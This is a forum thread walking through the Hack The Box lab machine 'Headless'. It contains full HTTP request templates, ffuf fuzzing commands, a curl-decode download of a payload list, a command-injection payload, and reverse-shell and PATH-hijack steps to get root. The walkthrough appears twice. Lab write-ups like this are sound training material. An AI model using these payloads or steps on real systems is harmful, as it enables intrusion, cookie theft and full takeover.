[paven]

Headless - Linux - Easy

Good luck everyone! Let's tackle this together!
https://app.hackthebox.com/machines/Headless

[DoesntMatter123456]

Lets gooooooooo

[xxxbfacc]

Rooted. Very easy…

[nikolaegg]

except contact form has check for < > in the message, so wondering how to bypass that

no need to bypass,just inject xss payload to User-Agent.

result:
10.10.**.** - - [24/Mar/2024 08:05:31] "GET / HTTP/1.1" 200 -
10.10.11.8 - - [24/Mar/2024 08:05:54] code 404, message File not found
10.10.11.8 - - [24/Mar/2024 08:05:54] "GET /is_admin=ImFkbWluIg.*****************-SnXpH0 HTTP/1.1" 404 -

[jahman]

hello,
here is my writeup.

1) In the message field, add a "<>" to fetch the anti-hacking tool. You will have a response that your browser parameters has been sent to the sysadmin.
Save the burp request and replay it with a XSS payloads wordlist to find an xss.

xss.req file

POST /support HTTP/1.1
Host: target.htb:5000
User-Agent: FUZZ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Origin: http://target.htb:5000
DNT: 1
Connection: close
Referer: http://target.htb:5000/
Cookie: iconSize=32x32; is_admin=XXX
Upgrade-Insecure-Requests: 1

fname=aa&lname=aa&email=tot%40fr.fr&phone=aa&message=%3C%3E%0D%0A

ffuf command (XSS-RSNAKE.txt: https://pastebin.com/bDuWJnUX : /!\ Adapt it with your @IP...)

\ffuf -ic -c -of csv  -request-proto http -request xss.req -w XSS-RSNAKE.txt

2) Launch a local web server and you will have the admin cookie.

3) With the admin cookie, you will have access a new dashboard function. Fuzz it again with burp.

fuzz.req file:

POST /dashboard HTTP/1.1
Host: target.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://target.htb:5000
DNT: 1
Connection: close
Referer: http://target.htb:5000/
Cookie: iconSize=32x32; is_admin= THE PREVIOUS ADMIN COOKIE
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

date=2023-09-15FUZZ

ffuf command ( all-attacks-unix-encoded.txt == https://rentry.co/sycg793q (GZIP base64 encoded file CMD: curl  https://rentry.co/sycg793q/raw | base64 -d | gunzip  > all-attacks-unix-encoded.txt )

\ffuf -ic -c -of csv  -request-proto http -request  fuzz.req -w all-attacks-unix-encoded.txt  --fs 2028 --fl 73

You will find the injection payload :

$;/usr/bin/id

4) Adapt the previous paylaod to obtain a reverse shell. Then a "sudo -l" will inform you that you can run the syscheck shell script with admin privilege

5) The syscheck script have a security flow related to PATH hijack. Create a revshell script named initdb.sh and run  "sudo /usr/bin/syscheck". Your initdb.sh will be executed as root

-- > Badaboom

[jahman]

How did you find that you need a file with this name initdb.sh?

in the syscheck script at the line 19

./initdb.sh 2>/dev/null

The "./" means the current directory. As the script do not initialize the PATH at the beginning (with a cd or something else), It will execute the initdb.sh script no matter where it is.

[lonelywolf1981]

hello,
here is my writeup.

1) In the message field, add a "<>" to fetch the anti-hacking tool. You will have a response that your browser parameters has been sent to the sysadmin.
Save the burp request and replay it with a XSS payloads wordlist to find an xss.

xss.req file

POST /support HTTP/1.1
Host: target.htb:5000
User-Agent: FUZZ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Origin: http://target.htb:5000
DNT: 1
Connection: close
Referer: http://target.htb:5000/
Cookie: iconSize=32x32; is_admin=XXX
Upgrade-Insecure-Requests: 1

fname=aa&lname=aa&email=tot%40fr.fr&phone=aa&message=%3C%3E%0D%0A

ffuf command (XSS-RSNAKE.txt: https://pastebin.com/bDuWJnUX : /!\ Adapt it with your @IP...)

\ffuf -ic -c -of csv  -request-proto http -request xss.req -w XSS-RSNAKE.txt

2) Launch a local web server and you will have the admin cookie.

3) With the admin cookie, you will have access a new dashboard function. Fuzz it again with burp.

fuzz.req file:

POST /dashboard HTTP/1.1
Host: target.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://target.htb:5000
DNT: 1
Connection: close
Referer: http://target.htb:5000/
Cookie: iconSize=32x32; is_admin= THE PREVIOUS ADMIN COOKIE
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

date=2023-09-15FUZZ

ffuf command ( all-attacks-unix-encoded.txt == https://rentry.co/sycg793q (GZIP base64 encoded file CMD: curl  https://rentry.co/sycg793q/raw | base64 -d | gunzip  > all-attacks-unix-encoded.txt )

\ffuf -ic -c -of csv  -request-proto http -request  fuzz.req -w all-attacks-unix-encoded.txt  --fs 2028 --fl 73

You will find the injection payload :

$;/usr/bin/id

4) Adapt the previous paylaod to obtain a reverse shell. Then a "sudo -l" will inform you that you can run the syscheck shell script with admin privilege

5) The syscheck script have a security flow related to PATH hijack. Create a revshell script named initdb.sh and run  "sudo /usr/bin/syscheck". Your initdb.sh will be executed as root

-- > Badaboom

thank you so much 

[Ju1c3]

A quicker way to escalate privs is to cd into the /usr/bin directory and run the command ./bash -p then just cd into the root file and cat the root.txt file

[ghostess256]

here is the solution jus checkout that opublished writeup no worries it''s free

HTB Headless Writeup on Medium

[RoyTong1988]

sudo /usr/bin/syscheck

shows "Database service is running."
Then I can not kill the process of initdb.sh. How can I solve this??

Is the only way is reset the machine?